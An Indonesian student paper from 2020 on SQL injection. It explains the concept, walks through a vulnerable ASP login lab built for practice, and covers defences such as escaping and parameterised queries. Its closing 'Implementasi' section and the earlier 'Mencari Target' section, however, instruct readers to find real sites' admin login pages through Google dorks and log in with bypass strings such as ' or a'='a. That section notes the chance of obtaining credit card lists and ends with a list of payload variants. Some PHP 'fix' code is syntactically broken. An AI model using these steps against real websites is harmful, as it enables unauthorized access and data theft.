Anda di halaman 1dari 20

MATA KULIAH

KEAMANAN KOMPUTER
“SQL INJECTION”

Oleh:

ANDI NURINDAH ASRIYANA (1729042018)

PTIK KLS F 2017

Dosen:

Muhammad Ayat Hidayat S. Kom,.M.T

PENDIDIKAN TEKNIK INFORMATIKA DAN KOMPUTER

JURUSAN PENDIDIKAN TEKNIK ELEKTRO

FAKULTAS TEKNIK UNIVERSITAS NEGERI MAKASSAR

2020

i
KATA PENGANTAR

            Puji syukur penyusun panjatkan kepada Allah SWT atas berkat dan limpahan rahmatNya
sehingga penyusun dapat menyelesaikan tugas mandiri dari mata kuliah keamanan komputer yaitu
menyusun makalah tentang SQL Injection.
            Penyusun berharap dengan adanya makalah ini akan bermanfaat bagi semua pihak, dan
penyusun berharap semoga makalah ini dapat digunakan sebagai media pengajaran.
            Tak lupa penyusun mengucapkan terima kasih kepada semua pihak yang telah membantu
demi tersusunya makalah ini. Penyusun menyadari bahwa makalah ini jauh dari kata sempurna,oleh
karena itu demi perbaikan laporan ini segala saran,kritik,tegur dan masukan yang membangun dari
semua pihak akan senantiasa kami terima dengan lapang dada.

                                                                                                         Makassar, 30 April 2020

                                                                                                           Penyusun

i
DAFTAR ISI

Kata Pengantar ……………………………………….……….....…………………………..i


Daftar Isi ……………………………………………………………………………………..ii
BAB I
PENDAHULUAN …………………………………………………………….……………..1
1.1 Latar Belakang ……………………………………………………………………………1
1.2 Rumusan masalah …………………………………………………………………………1
BAB II
PEMBAHASAN……………………………………………..……………………………….2
A. Pengertian Injection SQ…………………………………………………...……….….2
B. Aksi Sql Injection………………………....……………………………………………6
C. Menanggulangi SQL Injection……………………………………………………………...8

BAB III
PENUTUP………………………………………..…………………………………………...6
Kesimpulan ............................................................................................................................16
Daftar Pustaka .......................................................................................................................17

ii
BAB I
PENDAHULUAN
A. Latar Belakang
Dunia maya atau internet sekarang ini sudah banyak sekali bertebaran bug-bug dari
unicode  para cracker-craker yang tidak bertanggung jawab. Mereka ini menggunakan berbagai tehnik
hacking untuk mencari kelemahan dan merusak pada system keamanan suatu jaringan. Salah satu dari
tehnik tersebut yang sangat membahayakan sebuah website yaitu SQL injection atau dikenal juga
dengan SQL insertion yaitu sebuah teknik yang digunakan untuk mengeksploitasi database pada suatu
websites dengan memaksa keluarnya error page situs itu yang ada error pages itu terdapat info tentang
struktur database website yang dieksploitasi. SQL sendiri merupakan bahasa pemrograman database
yang sering dipakai para web developer maupun admin sebuah situs untuk menampung ataupun
menaruh data-data baru dari suatu input yang masuk seperti input member login,searchengine,dan lain
sebagainya.
        Sebenarnya SQL injection sendiri bukanlah hal baru, dari dulu teknik ini sudah dikenal dalam
dunia hacking sebagai salah satu teknik web hacking, namun baru muncul lagi sekarang karena
sifatnya yang dapat merusak database dari suatu website.  SQL injection ini sempat ramai pada
beberapa waktu yang lalu yaitu pada saat kasus bobolnya situs TNP KPU oleh salah seorang cracker
Indonesia, Dani Firmansyah.
B. Rumusan Masalah
Adapun rumusan masalah pada makalah ini yaitu;
1. Menjelaskan dari Pengertian SQL Injection?
2. Menjelaskan Bentuk-bentuk celah keamanan injeksi sql?
3. Menjelaskan Injection sql sederhana?
4. Menjelaskan Penanggulangan injection sql?

1
BAB II
PEMBAHASAN

A. PENGERTIAN SQL INJECTION
SQL injection adalah kegiatan menyisipkan perintah SQL kepada suatu statement SQL yang
ada pada aplikasi yang sedang berjalan. Dengan kata lain SQL injection ini merupakan suatu tehnik
pengeksploitasi pada web apilikasi yang didalamna menggunakan database untuk penyimpanan
datanya. Terjadinya SQL injection tersebut dikarenakan security atau keamanan pada level aplikasi
(dalam hal ini aplikasi web) masih kurang sempurna. Kurang sempurnanya adalah pada cara aplikasi
meng-handle inputan yang boleh di proses ke dalam database. Misalnya pada suatu web yang terdapat
fasilitas login, terdapat dua buah inputan pada umumnya, yaitu username dan password. Jika karakter
yang masuk melalui dua buah inputan tersebut tidak difilter (disaring) dengan baik maka bisa
menimbulkan efek SQL injection, ini dikarenakan biasanya inputan tersebut secara sistem akan
menjadi bagian dari kriteria dari suatu perintah SQL di dalam aplikasi web-nya. Secara garis besar
terjadinya SQL injection tersebut adalah sebagai berikut:
1. Tidak adanya pemfilteran terhadap karakter – karakter tanda petik satu ’ dan juga karakter
double minus -- yang menyebabkan suatu aplikasi dapat disisipi dengan perintah SQL.
2. Sehingga seorang Hacker dapat menyisipkan perintah SQL kedalam suatu parameter maupun
pada text area suatu form.

       Injeksi SQL (Bahaasa Inggris: SQL Injection)adalah sebuah teknik yang menyalahgunakan


sebuah celah keamanan yang terjadi dalam lapisan basis data sebuah aplikasi. Celah ini terjadi ketika
masukan pengguna tidak disaring secara benar dari karakter-karakter pelolos bentukan string yang
diimbuhkan dalam pernyataan SQL atau masukan pengguna tidak bertipe kuat dan karenanya
dijalankan tidak sesuai harapan. Ini sebenarnya adalah sebuah contoh dari sebuah kategori celah
keamanan yang lebih umum yang dapat terjadi setiap kali sebuah bahasa pemrograman atau skrip
diimbuhkan di dalam bahasa yang lain.

Default Setting SQL


     Seperti yang kita ketahui bahwa tehnik SQL injection ini memungkinkan seseorang dapat login
kedalam sistem tanpa harus memiliki account. Salah satunya yaitu default setting SQL. Default setting
SQl yang paling berbahaya adalah menggunakan adminID = sa dan password blank alias (kosong),
apabila ada direktori sebuah situs yang disitu ada input untuk adminnya maka kalau kita isi id-nya
dengan = 'sa' dan passwordnya =' ' maka kita langsung masuk sebagai admin, ini kalau default setting-
nya belum diubah. Namun ada lagi string yang bisa kita input untuk akses sebagai web admin yaitu
dengan string ' OR 1=1-- apabila ada input web admin yang input box-nya adalah User dan Password
maka apabila kita masukan string ' OR 1=1-- di input box user dan masukan foobar di input box
password, maka akan membuat SQL query-nya bingung diakibatkan jadi SQL Query membacanya
sebagai:

SELECT * from users where User ='' or 1=1-- and Password ='foobar'

yang artinya sqlnya men-SELECT semua query dari user yang user-nya '' (kosong) atau (OR) 1=1
(true) -- (tanda -- adalah mark dari SQL seperti halnya di C/C++ marknya // atau /*
   
Contoh ilustrasi SQL injection Pada admin login area

        Jadi kalau diuraikan logikanya adalah bahwa SQL-nya menganggap 1=1 sebagai true sehingga
kolom itu di-bypass lalu kolom password-nya diabaikan karena setelah 1=1 terdapat mark SQL ( -- ),
sehingga password itupun diabaikan. Lalu apakah hanya itu string-nya dalam menginjeksi sebuah

2
situs? Tentu saja tidak. Inti dari injeksi dalam langkah awalnya adalah memaksa keluar sebuah error
page yang berisi informasi struktur database situs itu dan kalau kita ingin melihatnya kita harus men-
debug-nya. Jadi yang kita masukkan adalah string debugging SQL code, yaitu ' having 1=1-- , ini
adalah string yang harus dimasukkan kalau kita ingin melihat error page dari situs sasaran.
Sehingga dapat dikatakan bahwa teknik ini memungkinkan seseorang dapat login kedalam
sistem tanpa harus memiliki account. Selain itu SQL injection juga memungkinkan seseorang
merubah, menghapus, maupun menambahkan data–data yang berada didalam database. Bahkan yang
lebih berbahaya lagi yaitu mematikan database itu sendiri, sehingga tidak bisa memberi layanan
kepada web server.

Mencari Target
Situs web MS-SQL dengan ASP adalah situs yang paling rentan terhadap serangan ini. Hal
pertama yang dilakukan dalam pencarian target yang sudah tidak asing lagi bagi kita yaitu buka
www.google.com, pada kolom keywordnya masukkan allinurl:.co.nz atau admin.asp, atau
allinurl:/slogon.asp Keyword ini dapat kita modifikasi ke berbagai bentuk .Penulisan allinurl perlu
dicantumkan, dengan begitu Google akan segera mencari semua URL dalam sebuah situs yang
mempunyai direktori /admin.asp. kita bisa saja mengganti keyword tersebut dengan allinurl:.co.id atau
net atau org, or.id, sampai allinurl:.fr/admin.asp semua tergantung kemauan kita dalam mencari target
menggunakan Google, dan yang terpenting dari semua itu adalah kita harus tahu di mana harus
menginput string SQL tadi, misalnya di member login, user login, dan bahkan dapat pula di search
product dan lainnya.

Bentuk-bentuk celah keamanan injeksi SQL


       Bentuk injeksi SQL ini terjadi ketika masukan pengguna tidak disaring dari karakter-
karakter pelolos dan kemudian diteruskan ke dalam sebuah pernyataan SQL. Ini menimbulkan potensi
untuk memanipulasi pernyataan-pernyataan yang dilakukan pada basis data oleh pengguna akhir
aplikasi.
Baris kode berikut menggambarkan celah keamanan ini:
    Pernyataan := "SELECT * FROM pengguna WHERE nama = '" + namaPengguna + "';"
Jika variabel "namaPengguna" dirangkai sedemikian rupa oleh pengguna yang bermaksud buruk,
pernyataan SQL tersebut bisa melakukan lebih daripada yang pengarangnya maksudkan. Sebagai
contoh, mengeset variabel "namaPengguna" sebagai a' or 't'='t menjadikan pernyataan SQL ini oleh
bahasa yang memuatnya:
SELECT * FROM pengguna WHERE nama = 'a' or 't'='t';
Jika kode ini akan digunakan dalam sebuah prosedur untuk melakukan otentikasi, maka contoh ini
dapat dipakai untuk memaksakan pemilihan sebuah nama pengguna yang sah karena evaluasi 't'='t'
akan selalu bernilai benar.
      Secara teori, perintah SQL sah apapun bisa diinjeksi melalui metode ini, termasuk menjalankan
banyak pernyataan. Nilai "namaPengguna" berikut ini pada pernyataan di atas akan menyebabkan
dihapusnya tabel "pengguna" dan juga pengambilan semua data dari tabel "data":
a';DROP TABLE pengguna; SELECT * FROM data WHERE nama LIKE '%
Masukan ini menjadikan pernyataan akhir SQL sebagai berikut:
SELECT * FROM pengguna WHERE nama = 'a';DROP TABLE pengguna; SELECT * FROM data
WHERE nama LIKE '%';

Penanganan tipe yang tidak benar


       Bentuk injeksi SQL ini terjadi ketika sebuah unsur masukan pengguna tidak bertipe kuat atau
tidak diperiksa batasan-batasan tipenya. Ini dapat terjadi ketika sebuah unsur numerik akan digunakan
dalam sebuah pernyataan SQL, tetapi pemrogram tidak melakukan pemeriksaan untuk memastikan
bahwa masukan pengguna adalah numerik. Sebagai contoh:
pernyataan := "SELECT * FROM data WHERE id = " + variabel_a + ";"
Terlihat jelas dari pernyataan ini pengarang memaksudkan variabel_a menjadi sebuah nomor yang
berhubungan dengan unsur "id". Namun begitu, jika pada kenyataannya itu adalah sebuah string,
maka pengguna akhir dapat memanipulasi pernyataan tersebut sesukanya, dan karena itu

3
mengabaikan kebutuhan akan karakter-karakter pelolos. Sebagai contoh, mengeset variabel_a
sebagai 1;DROP TABLE pengguna akan menghapus tabel "pengguna" dari basis data karena hasil
akhir SQL-nya akan menjadi sebagai berikut:
SELECT * FROM data WHERE id = 1;DROP TABLE pengguna;

Celah keamanan dalam server basis data


Terkadang celah-celah keamanan dapat berada dalam perangkat lunak server basis data itu
sendiri, seperti yang terjadi pada fungsi-fungsi real_escape_chars() di server MySQL.
Cara pencegahan SQL INJECTION :
1. Batasi panjang input box (jika memungkinkan), dengan cara membatasinya di kode program,
jadi si cracker pemula akan bingung sejenak melihat input box nya gak bisa diinject dengan
perintah yang panjang.
2. Filter input yang dimasukkan oleh user, terutama penggunaan tanda kutip tunggal
(Input Validation).
3. Matikan atau sembunyikan pesan-pesan error yang keluar dari SQL Server yang berjalan.
4. Matikan fasilitas-fasilitas standar seperti Stored Procedures, Extended Stored Procedures
jika memungkinkan.
5. Ubah “Startup and run SQL Server” menggunakan low privilege user di SQL Server Security
tab.

Perbaikan aplikasi
Injeksi SQL dapat dengan mudah diatasi dalam kebanyakan bahasa pemrograman yang
menargetkan aplikasi web atau menawarkan fungsi. Dalam DBI di Perl, metode DBI::quote
meloloskan karakter-karakter khusus (anggaplah variabel $sql menyimpan referensi ke sebuah obyek
DBI):
$kueri = $sql->prepare
  (
      "select * from pengguna where nama = "
      $sql->quote($nama_pengguna)
  );

Namun begitu, secara umum ini bukan jalan yang terbaik dalam menghadapi masalah
tersebut. DBI mengijinkan penggunaan placeholder, yang memperbolehkan Anda untuk mengikat
data ke sebuah pernyataan secara terpisah dari pendefinisian pernyataan SQL tersebut. Untuk sistem
basis data yang tidak secara asli mendukung placeholder, DBI menirukannya dengan menggunakan
fungsi DBI::quote secara otomatis pada nilai-nilai. Banyak sistem basis data yang mendukung
pengikatan nilai secara terpisah melalui API mereka; DBI akan menggunakan dukungan placeholder
asli tersebut dalam hal ini.
Sebagai contoh:
$kueri = $sql->prepare("select * from pengguna where nama = ?");
$kueri->execute($nama_pengguna);
Keuntungannya adalah Anda tidak perlu mengingat untuk menggunakan DBI::quote kepada
setiap nilai. Nilai-nilai akan diikat secara terpisah, atau dikutip secara benar, tergantung pada
dukungan yang ditawarkan oleh SMBD tertentu yang Anda gunakan. Anda kemudian terhindari dari
masalah dasar injeksi SQL di mana nilai-nilai diinterpretasi sebagai SQL.
Bagi sistem basis data yang mendukung placeholder secara asli, seringkali ada keuntungan
kinerja yang nyata untuk menggunakan placeholder, karena basis data dapat menyimpan cache dari
sebuah perwakilan pernyataan yang terkompilasi dan menggunakannya secara berulang di antara
pelaksanaan-pelaksanaan dengan nilai-nilai ikatan yang berbeda. Placeholder kadang-kadang juga
disebut sebagai "variabel pengikat".
Dalam PHP, terdapat beberapa fungsi bawaan yang berbeda untuk digunakan pada SMBD-
SMBD yang berbeda untuk meloloskan nilai-nilai yang cocok untuk diimbuhkan dalam pernyataan-
pernyataan SQL harafiah. Untuk MySQL, yang serupa dengan ini adalah fungsi bawaan
mysql_real_escape_string:

4
$hasil_kueri = mysql_query
  (
      "select * from pengguna where nama = '"
    .
      mysql_real_escape_string($nama_pengguna)
    .
      "'"
  );
Antarmuka asli untuk sebuah SMBD tertentu dapat juga menawarkan sebuah metode untuk
melakukan pengikatan placeholder secara terpisah,misalnya mysql_stmt_bind_param atau
oci_bind_by_name. Selain itu, sebuah pustaka abstraksi basis data dapat digunakan untuk menirukan
placeholder dalam cara yang mirip dengan DBI dari Perl. Sebuah contoh dari beberapa pustaka yang
ada ialah ADOdb.
Dalam bahasa pemrograman Java, yang serupa adalah kelas PreparedStatement.
Daripada
Connection con = (peroleh koneksi)
Statement stmt = con.createStatement();
ResultSet rset = stmt.executeQuery("SELECT * FROM pengguna WHERE nama = '" + userName +
"';");
Gunakan yang berikut :
Connection con = (peroleh koneksi)
PreparedStatement pstmt = con.prepareStatement("SELECT * FROM pengguna WHERE nama = ?");
pstmt.setString(1, namaPengguna);
ResultSet rset = pstmt.executeQuery();
Dalam bahasa pemrograman "C#" .NET atau Mono, yang serupa adalah obyek-obyek
ADO.NET SqlCommand (untuk Microsoft SQL Server) atau OracleCommand (untuk server basis
data Oracle). Contoh di bawah ini memperlihatkan bagaimana mencegah serangan injeksi
menggunakan obyek SqlCommand. Kode untuk penyedia ADO.NET lainnya sangat mirip, tetapi
dapat sedikit berbeda tergantung pada implementasi khusus yang dibuat oleh vendor penyedia
tersebut.
Daripada
using( SqlConnection con = (peroleh koneksi) ) {
  con.Open();
  using( SqlCommand cmd = new SqlCommand("SELECT * FROM pengguna WHERE nama = '" +
namaPengguna + "'", con) ) {
    using( SqlDataReader rdr = cmd.ExecuteReader() ) {
      ...
    }
  }     
}
Gunakan yang berikut:
using( SqlConnection con = (peroleh koneksi) ) {
  con.Open();
  using( SqlCommand cmd = new SqlCommand("SELECT * FROM users WHERE name =
@namaPengguna", con) ) {
    cmd.Parameters.AddWithValue("@namaPengguna", namaPengguna);
      using( SqlDataReader rdr = cmd.ExecuteReader() ) {
      ...
    }
  }     
}

5
B. AKSI SQL INJECTION
SQL injection sederhana (Bypassing User Authentication System)
Sekarang kita akan membuat contoh mengenai kasus SQL injection yang sampai saat masih
sering kita jumpai pada situs-situs di internet. Salah satu penyalahgunaan bug SQL injection adalah
digunakan untuk mem-bypass sistem login pada suatu situs. Contoh kali ini akan kita rancang sendiri
sedemikian rupa mulai dari merancang database, membuat script sampai melakukan SQL injection
terhadap script yang kita buat tersebut. Kita akan menggunakan MS SQL Server sebagai databasenya,
ASP sebagai scripting languange nya dan sembarang HTML editor untuk membuat layar loginnya
(penulis disini menggunakan MS FrontPage). Penulis asumsikan Anda menggunakan MS IIS sebagai
web server. Siapkan MS IIS Anda dan juga MS SQL Server 2000 Anda
Pertama-tama kita akan buat dahulu databasenya. Siapkan database dengan nama sqlinject
dan buat tabel di dalamnya dengan nama tbUser. Berikut ini adalah struktur dari tabel tbUser melalui
perintah SQL CREATE TABLE.
create table tbUser
(username varchar(50),
password varchar(50)
)
Isikan data ke dalam tabel tersebut dengan mengetikkan perintah SQL seperti berikut ini.
insert into tbUser values
('sql','inject')
Sekarang kita sudah mempunyai sebuah database yang bernama 'sqlinject', sebuah tabel yang
bernama 'tbUser' dan tabel tersebut sudah diisi dengan satu buah row data. Sekarang kita akan buat
sebuah halaman login yang digunakan sebagai interface web-nya. Penulis beri nama filenya yaitu
login.asp. Bentuk tampilan dari layar login ini bisa Anda lihat seperti berikut ini.
 Setelah itu kita buat script untuk memproses login ini, penulis beri nama login_process.asp. Code
pada file lgin_process.asp adalah sebagai berikut. Untuk koneksi ke database (SQL Server) penulis
menggunakan metode SQL Authentication, server pada localhost, username 'sa' dan password
'rahasia'.
<% option explicit %>
<%
  dim connstring,conn,recset
  connstring = "Provider=SQLOLEDB.1; Password=rahasia; Persist Security Info=True; User ID=sa;
Initial Catalog=sqlinject; Data Source=localhost"
  set conn = server.createobject("adodb.connection")
  set recset = server.createobject("adodb.recordset")
  conn.open connstring
  recset.open "select * from tbUser where username = '" & request.form("username") & "' and
password = '" & request.form("password") & "'",conn,3,2
  if not recset.eof then
    response.write recset.recordcount
    session("username") = request.form("username")
    response.redirect "secured_page.asp"
  else
    response.redirect "login.asp"
  end if
%>
Kita lihat pada code diatas terdapat operasi SELECT ke SQL yang mencari username dan
password dari tabel tbUser. Jika username dan password yang dimasukkan benar maka akan masuk ke
halaman secured_page.asp (ada pada bagian akhir dari tulisan ini). Maksud dari halaman

6
secured_page.asp ini adalah bahwa halaman tersebut hanya bisa diakses jika Anda mengisikan
username dan password dengan benar. Anda tidak bisa mengetikkan URL halaman tersebut secara
langsung. Gambar contoh halaman secured_page.asp bisa Anda lihat berikut ini.
Pada halaman secured_page.asp di atas terdapat sebuah link logout yang mengarah pada dokumen
logout.asp. Ini digunakan untuk melakukan sign-out atau log-out dari halaman secured_page.asp dan
menuju ke halaman login.asp kembali. Code dari dokumen logout.asp adalah sebagai berikut.
<%
  session.abandon
  response.redirect "login.asp"
%>
Sekarang semua file sudah kita buat. Letakkan semua file tadi (login.asp, login_process.asp,
secured_page.asp, logout.asp) dalam satu folder dan jadikan sebagai home directory pada MS IIS
(web server) Anda. Hasilnya bisa Anda test dengan mengetikkan URL yang mengarah pada web
Anda tadi misalnya http://localhost/login.asp.
            Sekarang saatnya penulis akan menyajikan contoh SQL injection untuk mem-bypass login.
Tampilkan URL yang berisi login.asp tadi (misalnya http://localhost/login.asp). Sekarang coba
masukkan username 'a' dan password 'a', program akan kembali lagi ke halaman login.asp karena
username dan password tersebut salah. Sekarang coba sekali lagi, kali ini username 'sql' dan password
'inject'. Karena username dan password benar maka Anda akan diarahkan ke halaman
secured_page.asp. Anda bisa klik link logout jika ingin logout. Aktivitas tersebut adalah aktivitas
normal pada suatu sistem pada login. Bagaimanakah cara tidak normalnya? Kita memeriksa apakah
login tersebut bisa di bypass atau tidak dengan cara memberikan inputan tanda ' (single quote) pada
bagian inputan username dan masukkan sembarang string pada bagian password. Jika Anda tekan
tombol submit maka akan muncul error seperti berikut ini.
Error Type:
Microsoft OLE DB Provider for SQL Server (0x80040E14)
Line 1: Incorrect syntax near 'aku'.
/login_process.asp, line 8
Error di atas merupakan error dari database SQL Server yang sebenarnya menyatakan ada
kesalahan pada statement SQL (akibat kita masukkan karakter ' tadi). OK sekarang kita akan mulai
bagian yang lebih seru, kembalikan lagi ke halaman login.asp. Coba masukkan string 'or 1=1 -- pada
bagian username dan masukkan sembarang string pada bagian password. Apa yang terjadi? Anda
akan langsung dibawa ke halaman secured_page.asp tanpa harus mengetahui username dan password
yang benar sama sekali. Kenapa hal itu bisa terjadi? Mari kita pelajari pelan-pelan konsepnya berikut
ini.
Penyebab utama kejadian di atas adalah karena karakter ' (single quote) yang kita inputkan
pada bagian username. Karakter ' (single quote) merupakan karakter pemutus dari statement SQL dan
dari sini bisa kita kembangkan untuk membelokkan statement SQL asli menjadi statement SQL sesuai
keinginan kita. Mari kita lihat kembali kejadiannya. Misalnya kita masukkan string 'user' dan
password 'pass' maka statement SQL yang terjadi adalah sebagai berikut.
select * from tbUser where username = 'user' and password = 'pass'
Jalankan pada MS Query Analyzer maka hasilnya akan menjadi suatu zero recordset dan
tidak error. Sekarang misalnya kita memasukkan karakter ' pada username dan string 'aku' pada
bagian password maka statement SQL pada database akan menjadi seperti berikut ini.
select * from tbUser where username = ''' and password = 'aku'
Coba jalankan pada MS Query Analyzer dan akan muncul error seperti berikut ini.
Server: Msg 170, Level 15, State 1, Line 1
Line 1: Incorrect syntax near 'aku'.
Server: Msg 105, Level 15, State 1, Line 1
Unclosed quotation mark before the character string ''.
Kita lihat error yang pertama persis sama pesannya seperti yg terjadi pada web tadi. Itu terjadi
karena Anda melakukan pemotongan statement SQL dengan karakter ' dan belum Anda selesaikan.
Efek dari pemotongan ini akhirnya Anda bisa menambahkan statement SQL Anda sendiri setelah
karakter ' tadi. Sekarang kita selesaikan pemotongan statement SQL tadi dengan menambahkan

7
string or 1=1 -- setelah karakter ' tadi (jadi pada bagian username Anda ketikkan ' or 1=1 --) sehingga
sekarang statement SQL nya akan menjadi seperti berikut ini.
select * from tbUser where username = '' or 1=1 --' and password = 'aku'
Coba Anda jalankan pada MS Query Analyzer. Hasilnya adalah menimbulkan suatu record set yang
menampilkan semua data pada tabel tbUser tersebut. Kita lihat lagi pada statement di atas. Karakter  -
adalah karakter untuk menandakan bahwa string setelah tanda -- akan di ignore atau dianggap sebagai
remark pada suatu statement SQL. Jadi sebenarnya pada statement di atas yang dijalankan adalah
sebagai berikut.
select * from tbUser where username = '' or 1=1
Jadi perintah di atas akan men-select username yang berupa blank character dan kemudian di OR
dengan suatu kondisi TRUE (dalam hal ini diwakili dengan 1=1). Kondisi apapun jika di OR dengan
keadaan TRUE maka hasilnya akan selalu TRUE pula. Itulah inti dari kejadian di atas.

C. Menanggulangi SQL Injection
Cara biasa digunakan untuk mencegah SQL injection adalah dengan selalu memeriksa setiap
karakter inputan yang masuk ke dalam database melalui statement SQL. Misalnya pada kasus di atas
kita harus mencegah karakter ' (single quote) untuk di proses ke dalam database atau kita bisa
mengganti karakter ' (single quote) yang masuk dengan '' (dua kali single quote). Adapun contoh
script login_process.asp yang sudah dimodifikasi agar mencegah SQL injection adalah sebagai
berikut.
<% option explicit %>
<%
  dim connstring,conn,recset
  connstring = "Provider=SQLOLEDB.1; Password=rahasia; Persist Security Info=True; User ID=sa;
Initial Catalog=sqlinject; Data Source=localhost"
  set conn = server.createobject("adodb.connection")
  set recset = server.createobject("adodb.recordset")
  conn.open connstring
  recset.open "select * from tbUser where username = '" & replace(request.form("username"),"'","''")
& "' and password = '" & replace(request.form("password"),"'","''") & "'",conn,3,2
  if not recset.eof then
    response.write recset.recordcount
    session("username") = request.form("username")
    response.redirect "secured_page.asp"
  else
    response.redirect "login.asp"
  end if
%>
Kita lihat pada code diatas maka pada inputan username dan password ada sedikit modifikasi
dengan mengganti dari request.form("username") menjadi replace(request.form("username"),"'","''"),
demikian juga untuk yang bagian password. Sebenarnya masih ada cara lainnya untuk mencegah
misalnya dengan penggunaan stored procedure dan lain sebagainya. Hal tersebut akan disajikan pada
kesempatan yang lain.
Banyak cara menanggulangi SQL injection, berikut secara garis besarnya beberapa cara
penangulangannya:
1. Query SQL
Untuk melindungi query SQL, kita harus menerapkan tehnik sanitasi/mengosongkan seluruh
input yang diterima dari request object ASP seperti: Request, Request.QueryString, Request.Form,
Request.Cookies dan Request.ServerVariabbles. Teknik sanitasi ini sangat tergantung pada
Relational Database Management System.
RDBMS merupakan sistem yang multiuser. Oleh karena itu, RDBMS menyertakan fitur sekuriti
untuk mengontrol akses ke/dan penggunaan database. Tujuan arsitektur sekuriti RDBMS adalah untuk
melindungi dan memverifikasi semua bagian informasi yang tersimpan dalam database. Informasi
bisnis perlu diverifikasi untuk memastikan bahwa tidak ada data yang berubah.
Contoh penanganan MS SQL Server seperti dibawah ini.

8
Dalam sebuah halaman login, script semestinya terdiri dari dua variabel (txtUserName,
txtPassword) dari jenis string yang dilewati. Saat sebuah tanda petik tunggal (’) dimasukkan dalam
sebuah parameter, hal ini mengijinkan user untuk memanipulasi perintah yang dieksekusi. Untuk
menghadapi ancaman SQL Injection, hindari penggunaan tanda petik tunggal (’) dengan
menggunakan fungsi REPLACE, seperti dibawah ini:

p_strUsername = Replace(Request.Form(”txtUsername”), “‘”, “””)

p_strPassword = Replace(Request.Form(”txtPassword”), “‘”, “””)


Contoh yang kedua, script diharapkan adalah sebuah variabel (ID) jenis long integer. Perintah SQL
yang tidak diotorisasi dapat mengeksekusi dengan menambahkan perintah SQL ke dalam parameter
ID. Untuk mengatasi hal ini gunakan input untuk Long Integer dengan fungsi CLng sbb:

p_lngID = CLng(Request(”ID”))

Jika user mencoba melewati suatu string, fungsi CLng akan menampilkan pesan error.

2. Error message (Pesan Error)


Matikan atau sembunyikan pesan-pesan error yang keluar dari SQL Server yang berjalan. Bisa
juga dengan cara mengganti pesan error message karena hal ini seringkali digunakan oleh sang
attacker untuk menelusuri informasi jalur penyimpanan database. Contoh codenya:

Sub LogError(strLocation)
Dim objFSO ’sebagai Scripting.FileSystemObject
Dim objStream ’sebagai Scripting.TextStream
if Err.Number = 0 Then Exit Sub
WriteLine “<p><font color=#FF0000><b>”_
& “ERROR.”_
& “Please try again later or contact webmaster.</b></font></p>”
Set objFSO = Server.CreateObject(”Scripting.FileSystemObject”)
Set objStream = objFSO.OpenTextFile(”C:errorlog.txt”,_
ForAppending, True)
ObjStream.WriteLine Now() & “: [" & Request("SCRIPT_NAME")_
& " - Err #" & Err.Number & "]” _
& Err.description & “[Lokasi: " & strLocation & "]“
ObjStream.Close
Set objStream = Nothing
Set objFSO = Nothing
Response.End
End Sub

3. Permisi batasi permisi hanya pada user yang terotorisasi saja. Sang user tentu saja harus yakin
bahwa data yang dia terima sudah akurat dan tidak ceroboh memodifikasinya.
4. Panjang Input Box
Batasi panjang input box (jika memungkinkan), dengan cara membatasinya di kode program,
jadi si cracker pemula akan bingung sejenak melihat input box nya gak bisa diinject dengan
perintah yang panjang.
5. Filterisasi
Filter input yang dimasukkan oleh user, terutama penggunaan tanda kutip tunggal (Input Validation).
Penanganan SQL Injection
1) Merubah script php
2) Menggunakan MySQL_escape_string
3) Pemfilteran karakter ‘ dengan memodifikasi php.ini

9
1. Merubah script php
    Contoh script php semula :
    $query = “select id,name,email,password,type,block from user ” .
    “where email = ‘$Email’ and password = ‘$Password'”;
     $hasil = mySQL_query($query, $id_mySQL);
while($row = mySQL_fetch_row($hasil))
{
$Id = $row[0];
$name = $row[1];
$email = $row[2];
$password = $row[3];
$type = $row[4];
$block = $row[5];
}
if(strcmp($block, ‘yes’) == 0)
{
echo “<script>alert(‘Your account has been blocked’);
document.location.href=’index.php';</script>\n”;
exit();
}
else if(!empty($Id) && !empty($name) && !empty($email) && !empty($password));
     Script diatas memungkinkan seseorang dapat login dengan menyisipkan perintah SQL kedalam
form login. Ketika hacker menyisipkan karakter ’ or ’’ = ’ kedalam form email dan password maka
akan terbentuk query sebagai berikut :
     Maka dilakukan perubahan script menjadi :
$query = “select id,name,email,password,type,block from user”.
“where email = ‘$Email'”;
$hasil = mySQL_query($query, $id_mySQL);
while($row = mySQL_fetch_row($hasil))
{
$Id = $row[0];
$name = $row[1];
$email = $row[2];
$password = $row[3];
$type = $row[4];
$block = $row[5];
}
if(strcmp($block, ‘yes’) == 0)
{
echo “<script>alert(‘Your account has been blocked’);
document.location.href=’index.php';</script>\n”;
exit();
}
$pass = md5($Password);
else if((strcmp($Email,$email) == 0) && strcmp($pass,$password) == 0));

2. Menggunakan MySQL_escape_string
Merubah string yang mengandung karakter ‘ menjadi \’ misal SQL injec’tion menjadi SQL injec\’tion
Contoh : $kar = “SQL injec’tion”;
$filter = mySQL_escape_string($kar);
echo”Hasil filter : $filter”;

10
3. Pemfilteran karakter ‘ dengan memodifikasi php.ini
    Modifikasi dilakukan dengan mengenabelkan variabel magic_quotes pada php.ini              
    sehingga menyebabkan string maupun karakter ‘ diubah menjadi \’ secara otomatis oleh php
    Contoh :
    Contoh script yang membatasi karakter yang bisa masukkan :
function validatepassword( input )
good_password_chars =
“abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ”
validatepassword = true
for i = 1 to len( input )
c = mid( input, i, 1 )
if ( InStr( good_password_chars, c ) = 0 ) then
validatepassword = false
exit function
end if
next
end function
Implementasi SQL Injection
1) Masuk ke google atau browse yg lain
2) Masukkan salah satu keyword berikut
“/admin.asp”
“/login.asp”
“/logon.asp”
“/adminlogin.asp”
“/adminlogon.asp”
“/admin_login.asp”
“/admin_logon.asp”
“/admin/admin.asp”
“/admin/login.asp”
“/admin/logon.asp”
{anda bisa menambahi sendiri sesuai keinginan anda}
    3) Bukalah salah satu link yang ditemukan oleh google, kemungkinan Anda akan menjumpai
sebuah halaman login (user name danpassword).
4) Masukkan kode berikut :
User name : or a’=’a
Password : or a’=’a (termasuk tanda petiknya)
5) Jika berhasil, kemungkinan Anda akan masuk ke admin panel, di mana Anda bisa menambahkan
berita, mengedit user yang lain, merubah about,
dan lain-lain. Jika beruntung Anda bisa mendapatkan daftar kredit card yang banyak.
6) Jika tidak berhasil, cobalah mencari link yang lain yang ditemukan oleh google.
7) Banyak variasi kode yang mungkin, antara lain :
User name : admin
Password : or a’=’a
atau bisa dimasukkan ke dua–duanya misal :
‘ or 0=0 — ; “ or 0=0 — ; or 0=0 — ; ‘ or 0=0 # ;
“ or 0=0 # ; ‘ or’x’=’x ; “ or “x”=”x ; ‘) or (‘x’=’x
